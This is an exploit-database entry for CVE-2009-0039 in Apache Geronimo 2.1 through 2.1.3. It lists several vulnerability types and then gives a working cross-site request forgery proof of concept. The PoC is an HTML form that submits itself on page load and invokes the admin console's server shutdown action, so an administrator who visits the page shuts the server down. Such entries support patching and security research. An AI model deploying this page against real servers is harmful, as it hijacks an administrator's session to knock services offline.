Apache Geronimo 2.1.x - Cross-Site Request Forgery (Multiple Admin Function)



EKU-ID: 37803 CVE: CVE-2009-0039;OSVDB-53932 OSVDB-ID:
Author: DSecRG Published: 2009-04-16 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


source: https://www.securityfocus.com/bid/34562/info

Apache Geronimo Application Server is prone to multiple remote vulnerabilities:

- Multiple directory-traversal vulnerabilities
- A cross-site scripting vulnerability
- Multiple HTML-injection vulnerabilities
- A cross-site request-forgery vulnerability

Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, execute arbitrary script code, steal cookie-based authentication credentials, and perform certain administrative actions.

Apache Geronimo 2.1 through 2.1.3 are vulnerable.

<html>
        <form
action='http://www.example/console/portal//Server/Shutdown/__ac0x3console-base0x2ServerManager!-1172254814|0'
id=1>
                <input type=hidden value='Shutdown' name="shutdown">
                <input type=submit>
        </form>
</html>
<script>
        document.getElementById(1).submit();
</script>